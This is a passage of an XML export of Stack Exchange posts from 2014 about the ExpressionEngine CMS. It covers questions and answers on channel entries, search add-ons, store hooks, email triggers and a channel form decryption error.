&quot;sidebar_featured_music&quot;}&#xA;            {sidebar_soundcloud_iframe}&#xA;        {/if}&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-02-24T14:22:24.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19706" PostTypeId="1" CreationDate="2014-02-24T15:08:48.850" Score="1" ViewCount="49" Body="&lt;p&gt;Has anyone ever seen this behavior before? I seem to have random entries missing from my site. This has been going on for a few months now and I've chalked it up to some weird anomaly when it first started happening. Now, I'm noticing that entries are missing because I'm getting crawl errors inside of Analytics and Adsense admin. I probably haven't deleted an entry in five years so something weird is going on.&lt;/p&gt;&#xA;" OwnerUserId="2410" LastActivityDate="2014-04-25T16:34:15.557" Title="EE 1.x missing entries?" Tags="|channel-entries|ee1|entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19707" PostTypeId="2" ParentId="19706" CreationDate="2014-02-24T15:41:56.393" Score="1" Body="&lt;p&gt;This is NOT good.  A couple of possibilities occur to me.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your host migrated your site to a new database server and failed to import the data correctly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Someone has exploited a vulnerability in EE1.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you look at &lt;a href=&quot;http://ee1docs.com/changelog.html&quot; rel=&quot;nofollow&quot;&gt;the EE1 Change Log&lt;/a&gt; there are security fixes right up until the final version (1.7.3).  If you are running a version older than that there are &lt;em&gt;certainly&lt;/em&gt; vulnerabilities.  If you are 1.7.3 there are &lt;em&gt;very likely&lt;/em&gt; vulnerabilities as the code is not longer being maintained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd start by going through my server log files to look for unusual control panel access, but some vulnerabilities might not even require this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have database backups I'd look at those as well to see if you can determine when the missing data disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating to the latest version of EE1 might help but for the longer term you must get off of EE1 for the sake of security. &lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-02-24T15:41:56.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19708" PostTypeId="1" CreationDate="2014-02-24T15:43:32.313" Score="0" ViewCount="58" Body="&lt;p&gt;It seems I have found something missing in the features of the relationships field. We have many native one to many relationships fields. I have to limit the results that are to be displayed on the publish page, because otherwise it will load tens of thousands of entries on opening the publish page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I search for a specific entry it will only search through the entries that are displayed by limit, say the 100 last entries of 20000 ... ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? Did anyone else run into this? Should I fix some kind of custom solution to make it work properly? Switching to Playa is not an option anymore because many relationships have been made by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2014-02-24T15:43:32.313" Title="Relationships field limited, but it should search through all entries" Tags="|control-panel|relationships|fieldtype|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19711" PostTypeId="1" AcceptedAnswerId="19750" CreationDate="2014-02-24T19:04:05.687" Score="2" ViewCount="72" Body="&lt;p&gt;I'm currently looking to send out an email using Postmaster when an entry expires. My entry will be assigned a expiration date, so im curious if I can use this variable in the &quot;Post Date Specific&quot; field. Currently the field states that you can put a dynamic date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will it work with the {parcel:expiration_date format=&quot;%d/%m/%Y-%g:%i:%s&quot;}? If it does, its not working for me.. Maybe its my formatting?&lt;/p&gt;&#xA;" OwnerUserId="2733" LastActivityDate="2014-03-27T18:01:16.077" Title="Postmaster Expiration_Date In &quot;Post Date Specific&quot; Field" Tags="|date|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19713" PostTypeId="1" AcceptedAnswerId="19714" CreationDate="2014-02-24T19:54:07.150" Score="2" ViewCount="97" Body="&lt;p&gt;I have a new page that I am pulling the most recent entry to feature on the page. I need to list out the rest of the entries except for the most recent entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use the channel entries tag to show all entries except for the most recent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-02-25T00:53:58.773" Title="Show all entries except most recent" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19714" PostTypeId="2" ParentId="19713" CreationDate="2014-02-24T20:27:28.580" Score="5" Body="&lt;p&gt;Use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#offset&quot; rel=&quot;nofollow&quot;&gt;offset&lt;/a&gt; parameter.  Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot; offset=&quot;1&quot; orderby=&quot;date&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="252" LastEditorUserId="1326" LastEditDate="2014-02-25T00:53:58.773" LastActivityDate="2014-02-25T00:53:58.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19716" PostTypeId="2" ParentId="19657" CreationDate="2014-02-24T21:52:40.587" Score="2" Body="&lt;p&gt;I reached out to Exo:resso based on the suggestion that &lt;em&gt;dynamic Prices&lt;/em&gt; was how to allow users to set the price and thereby  the invoice amount. This was their answer…&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You're on the right track. Dynamic prices are the way to go and allow the user to enter in their own amount for the purchase. When setting this up you apply this to the Channel when you add the Store Product Details field type so I'd make sure your invoices are setup to be in their own Channel. Then when you add the Store Product Details field to the Channel Field Group you'll see the &quot;Field Options&quot; table at the bottom (screenshot attached). Set &quot;Enable Dynamic Prices&quot; to &quot;Yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when you setup the templates you just need to make sure you add a &quot;price&quot; and &quot;item_qty&quot; field to the Product Form tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;value&quot; will be submitted by the user. Store always needs an item_qty field though so make sure you include it. Keep it hidden, as above, if you don't want to display this on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2014-02-24T21:52:40.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19717" PostTypeId="2" ParentId="19305" CreationDate="2014-02-24T21:54:07.640" Score="0" Body="&lt;p&gt;After some glitches I have decided to go with the Option 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Major issue was to retrieve product categories when product was in the cart using &lt;code&gt;{entry_id}&lt;/code&gt; and GWcode Categories add-on. In that case I was getting all categories from Product Type and Product Lines, which created additional conditional statements to have that issue cleared. With the Option 1 it was straight out of the box.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-02-24T21:54:07.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19718" PostTypeId="1" CreationDate="2014-02-24T22:05:23.373" Score="1" ViewCount="65" Body="&lt;p&gt;I have a field that can use either Grid or Matrix. It has 10 Asset file uploads and 2 text input fields. The layout in the backend gets a little messy and hard to read when a user is entering data. Is there a plugin out there that allows you to handle the layout of either Grid or Matrix in the backend when a user is entering the data or are we stuck with the horizontal scroll?&lt;/p&gt;&#xA;" OwnerUserId="2787" LastEditorUserId="2787" LastEditDate="2014-02-25T13:57:15.173" LastActivityDate="2014-02-25T13:57:15.173" Title="Plugin that controls Grid or Matrix layout when entering data in backend" Tags="|matrix|grid|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19719" PostTypeId="1" CreationDate="2014-02-25T01:47:29.883" Score="0" ViewCount="93" Body="&lt;p&gt;I'm getting some weird search results with Super Search in relation to the title field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel Videos: I have 3 entries called Video Gallery 1, Video Gallery 2 &amp;amp; Video Gallery 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel Images: I have 3 entries called Image Gallery 1, Image Gallery 2 &amp;amp; Image Gallery 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note the capitalization of the search terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I search for the term &quot;gallery&quot; I get 6 results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I search for the term &quot;Gallery&quot; I get 6 results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I search for the term &quot;image&quot; I get 3 results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I search for the term &quot;Image&quot; I get 3 results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I search for the term &quot;Image Gallery&quot; I get 3 results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I search for the term &quot;image gallery&quot; I get 0 results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why on earth does the search appear to be case sensitive on the last one? It makes no sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code that fixed my issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;h2 class=&quot;title&quot;&amp;gt;&#xA;            Search Media &amp;lt;i class=&quot;corner&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;        &amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div class=&quot;row search-box&quot;&amp;gt;&#xA;            &amp;lt;form class=&quot;col-xs-12&quot; action=&quot;{path='media-gallery/jim-sol'}/&quot; method=&quot;post&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt; &amp;lt;!-- Important! --&amp;gt; &#xA;                &amp;lt;input&#xA;                    type=&quot;text&quot;&#xA;                    name=&quot;keywords&quot;&#xA;                    id=&quot;keywords&quot;&#xA;                    placeholder=&quot;Search Media&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; value=&quot;&quot; class=&quot;serch-butt&quot; &amp;gt;&#xA;            &amp;lt;/form&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Video Results super_search_total_results = {super_search_total_results}&amp;lt;/h2&amp;gt;&#xA;            {exp:super_search:results&#xA;               channel=&quot;media_videos&quot;&#xA;                status=&quot;open|featured&quot;&#xA;            }&#xA;    {if super_search_no_results}&#xA;                &amp;lt;p&amp;gt;Sorry, no results were found.&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;    &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;    {/exp:super_search:results}&#xA;&#xA;            &amp;lt;h2&amp;gt;Image Results super_search_total_results = {super_search_total_results}&amp;lt;/h2&amp;gt;&#xA;            {exp:super_search:results&#xA;               channel=&quot;media_images&quot;&#xA;                status=&quot;open|featured&quot;&#xA;            }&#xA;    {if super_search_no_results}&#xA;                &amp;lt;p&amp;gt;Sorry, no results were found.&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;    &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;    {/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="2290" LastEditDate="2014-03-31T22:47:05.707" LastActivityDate="2014-03-31T22:47:05.707" Title="Solspace Super Search - random results for the title field" Tags="|supersearch|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19721" PostTypeId="1" CreationDate="2014-02-25T02:15:44.120" Score="0" ViewCount="85" Body="&lt;p&gt;I am trying to find a way to be able to control where errors show. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The native EE Channel Form feature of using &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; is good for most cases but not for all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when I try to register a username/email that already exists, an error at the top displays&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The username you chose is not available&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The email you chose is not available&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I would want these errors to be displayed inline, next to the username/email field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-06-23T07:43:29.993" Title="Channel Form - Control errors on where they should be displayed, inline or not" Tags="|channel-form|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19723" PostTypeId="1" CreationDate="2014-02-25T03:04:34.863" Score="1" ViewCount="251" Body="&lt;p&gt;Experiencing some strangeness after deploying to Staging. I get this error when trying to access the EE CP:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to initialize ExpressionEngine. The EE core does not appear to be defined in your autoload file. For more information please contact technical support.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This only happens if I try to go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stagingurl.com/ee/&quot; rel=&quot;nofollow&quot;&gt;http://stagingurl.com/ee/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where admin.php has been renamed inside an /ee/ folder as index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, strangely,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stagingurl.com/ee/?S=0&amp;amp;D=cp&amp;amp;C=login&quot; rel=&quot;nofollow&quot;&gt;http://stagingurl.com/ee/?S=0&amp;amp;D=cp&amp;amp;C=login&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works, allows me to log in. The site also works as expected in the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what's going on here and how to fix? And what happened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also happen to be using Focus Lab's Master Config. My local install is perfectly fine as well. Help! Don't want to break the site when it's ready to deploy LIVE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.7.2 - Build Date: 20131008 &lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2015-08-05T09:58:51.283" Title="&quot;Unable to initialize ExpressionEngine&quot; when accessing CP URL" Tags="|error|login|admin.php|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19724" PostTypeId="1" CreationDate="2014-02-25T04:53:55.997" Score="3" ViewCount="358" Body="&lt;p&gt;First, thanks in advance for any insight. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following in a simple extension to set the status for new orders with the aim that I can send an email template based on the customer's member group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store_order_complete_end($order)&#xA;{&#xA;  $status = Store\Model\Status::where('name', $status_name)-&amp;gt;first();&#xA;&#xA;  if (ee()-&amp;gt;session-&amp;gt;userdata('group_id') == 10)&#xA;  {&#xA;    $status-&amp;gt;name = &quot;Commercial&quot;;&#xA;  }&#xA;  else&#xA;  {&#xA;    $status-&amp;gt;name = &quot;General&quot;;&#xA;  }&#xA;&#xA;  $order-&amp;gt;updateStatus($status);&#xA;&#xA;  return $order;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When processing an order, the system correctly sets the status to either Commercial or General. However, no email is sent. If I switch to another status and then back to the desired status, the email does send. In other words, it seems that the emails are only triggered when manually selecting the status. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I have default order status of &quot;Received&quot; that does not trigger any email templates. I've done this because I've found that if no default status is set no email templates ever get sent -- even when manually selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when looking at the bottom of the order detail, I do see that both order statuses are logged: Received and Commercial (or General).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2386" LastActivityDate="2014-03-06T00:49:59.887" Title="Updating status with hook does not trigger email" Tags="|expresso-store|status|hook|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19725" PostTypeId="2" ParentId="9700" CreationDate="2014-02-25T05:04:47.393" Score="0" Body="&lt;p&gt;FYI ExpressionEngine 2.0 removed the set_userdata() function. For a workaround, &lt;a href=&quot;http://ellislab.com/forums/viewthread/138599/&quot; rel=&quot;nofollow&quot;&gt;see this thread.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1666" LastActivityDate="2014-02-25T05:04:47.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19726" PostTypeId="1" CreationDate="2014-02-25T07:26:10.460" Score="1" ViewCount="85" Body="&lt;p&gt;I want to select modifiers by name because for my modifier's it's not possible to put all modifier_options in the same output, for example a &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; form. So how would I be able to select a specific modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do I need to walk through all modifiers and doe this with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifiers}&#xA;  {if &quot;{modifier_name}&quot; == &quot;myMatch&quot;}&#xA;  // Specific HTML for this match&#xA;  {if:else &quot;{modifier_name}&quot; == &quot;myOtherMatch&quot;}&#xA;  // Specific HTML for this other match&#xA;  {/if}&#xA;{/modifiers}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-02-25T14:21:42.567" Title="Expresso-store select modifiers by name" Tags="|expresso-store|modifiers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19727" PostTypeId="1" CreationDate="2014-02-25T07:32:18.843" Score="1" ViewCount="252" Body="&lt;p&gt;My markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=&quot;box&quot;&amp;gt;&#xA;&amp;lt;ul id=&quot;slide&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to show the section box only if date condition matches to todays date and then further loop the li tags.If it does not then I completely want to ingore the entire box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I am doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=&quot;box&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;slide&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;LIVE_STREAM&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA; &amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I put a conditional check right above the section.In php it would have been quite easy,but in expression engine how can I do it?&lt;/p&gt;&#xA;" OwnerDisplayName="user2133" LastEditorUserId="932" LastEditDate="2014-02-25T08:06:10.147" LastActivityDate="2014-02-25T09:17:33.807" Title="Condition if entries exist?" Tags="|ee2|ifelse|no-results|count|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19728" PostTypeId="2" ParentId="19727" CreationDate="2014-02-25T07:41:04.807" Score="1" Body="&lt;p&gt;If you use some custom text field to keep timestamp, in this case I think you need activate php and set it to be parsed on &quot;input&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        $beginOfDay = strtotime(&quot;midnight&quot;, ee()-&amp;gt;localize-&amp;gt;now);&#xA;        $endOfDay   = strtotime(&quot;tomorrow&quot;, $beginOfDay) - 1;&#xA;?&amp;gt; &#xA;&#xA;    {exp:channel:entries channel=&quot;LIVE_STREAM&quot;  search:timestamp_field=&quot;&amp;lt;&amp;lt;?php echo $endOfDay; ?&amp;gt;&quot; search:timestamp_field=&quot;&amp;gt;&amp;lt;?php echo $beginOfDay ?&amp;gt;&quot;}&#xA;{if count == 0}&#xA;&amp;lt;section id=&quot;box&quot;&amp;gt;&#xA;        &amp;lt;ul id=&quot;slide&quot;&amp;gt;&#xA;{/if}&#xA;        &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if count == total_results}&#xA;   &amp;lt;/ul&amp;gt;&#xA;     &amp;lt;/section&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-02-25T09:17:33.807" LastActivityDate="2014-02-25T09:17:33.807" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19729" PostTypeId="1" CreationDate="2014-02-25T09:09:51.010" Score="0" ViewCount="74" Body="&lt;p&gt;I have two forms on a site I'm developing, one form I need to be able to filter by categories and sub-categories, the other I need to filter by keyword, File Type (PDF, EXE) and list them based on their category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Low Search right for this?&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2014-02-25T09:38:15.427" Title="Is Low Search right for this?" Tags="|low-search|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19730" PostTypeId="2" ParentId="19726" CreationDate="2014-02-25T09:21:30.283" Score="1" Body="&lt;p&gt;Yes. The &lt;code&gt;{modifiers}&lt;/code&gt; tag is a loop so within that loop if you wanted to call out a particular modifier by name then you'd need to run a conditional check as you are currently showing in your example. &lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2014-02-25T14:21:42.567" LastActivityDate="2014-02-25T14:21:42.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19731" PostTypeId="2" ParentId="19729" CreationDate="2014-02-25T09:38:15.427" Score="1" Body="&lt;p&gt;Depends on &lt;strong&gt;what&lt;/strong&gt; you're filtering. &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; will filter &lt;strong&gt;channel entries&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#categories&quot; rel=&quot;nofollow&quot;&gt;Categories filter&lt;/a&gt; to filter by (sub)categories;&lt;/li&gt;&#xA;&lt;li&gt;You can use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;Keywords filter&lt;/a&gt; in conjunction with the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt; to filter by keywords and the File Type, &lt;em&gt;if&lt;/em&gt; the file type is stored in a dedicated channel field.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Whether you can &lt;em&gt;“list them based on their category”&lt;/em&gt; depends on what you mean by that, exactly. If you can generate the output using the native &lt;code&gt;channel:entries&lt;/code&gt; tag, then you can also output it using &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#results-tag&quot; rel=&quot;nofollow&quot;&gt;the Results tag&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-25T09:38:15.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19732" PostTypeId="1" CreationDate="2014-02-25T10:15:54.197" Score="0" ViewCount="426" Body="&lt;p&gt;I am using the default cart.js file in my checkout which is included with CT2.5 This provides a copy billing info to shipping function which always seemed to work well, but since upgrading to CT2.5 no longer copies the billing country to shipping country, all other fields copy fine.&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2017-04-06T21:16:13.070" Title="Copying billing address to shipping address with cart.js" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19733" PostTypeId="1" CreationDate="2014-02-25T10:42:33.797" Score="2" ViewCount="296" Body="&lt;p&gt;I'm having an issue with EE Channel form, when I post I just get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The form you submitted contained the following errors  &#xA;Decryption of form settings failed.  &#xA;Return to Previous Page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code I use to display and submit the form is literally taken from the docs, replacing with the relevant channel name with no other changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gone through all my sites config in the admin area and even disabled &lt;strong&gt;Process form data in Secure Mode?&lt;/strong&gt; just to test it out, but still received the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched as far as I can think on Google and the EE forums with no luck, if anyone could shed some light i'd really appreciate it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Version : v2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I use to generate the channel form is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;exhibitors&quot; return=&quot;success&quot; entry_id=&quot;{embed:entry}&quot; author_only=&quot;yes&quot; }&#xA;  {!-- all field tags --}&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I ran a clean install of expression engine today and migrated templates etc, the channel form was working perfectly for a while and now suddenly it's happening again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I've  looked a bit more into the source this is whats getting generated at the top:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;publishForm&quot; method=&quot;post&quot; action=&quot;http://localhost/handbook/company_profile?  &#xA;RET=http%3A%2F%2Flocalhost%2Fhandbook%2Fcompany_profile&amp;amp;amp;URI=handbook%2Fcompany_profile&amp;amp;amp;&#xA;XID=&amp;amp;amp;return_url=handbook%2Fcompany_profile &amp;amp;amp;author_id=1&amp;amp;amp;channel_id=1&amp;amp;amp;&#xA;entry_id=0&amp;amp;amp;ACT=7&amp;amp;amp;meta=DLauS6rZ7%2BgnIQ%2Bt5HKmwk4ufzbKqkP..etc&#xA;enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;hiddenFields&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot;  value=&quot;http://localhost/handbook/company_profile&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;URI&quot; value=&quot;handbook/company_profile&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;0d2db0442daeaf6dc776353853a581f71ed14de6&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;return_url&quot; value=&quot;handbook/company_profile&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;author_id&quot; value=&quot;1&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;channel_id&quot; value=&quot;1&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;0&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;7&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;meta&quot; value=&quot;DLauS6rZ7+gnIQ+t5HKmwk4ufzbKqkPEXm1hjiftiSGFz..etc&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I inspect element in chrome, remove everything after the company_profile? part and post the form, it works fine, but for some reason its adding all the hidden inputs onto the action and then I assume when it's posted its all getting added again and failing? :/ how or why it decided to suddenly do this I don't know...&lt;/p&gt;&#xA;" OwnerUserId="2788" LastEditorUserId="2788" LastEditDate="2014-02-26T12:59:39.867" LastActivityDate="2015-10-20T17:25:27.747" Title="Channel form submission decryption error" Tags="|safecracker|forms|channel-form|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
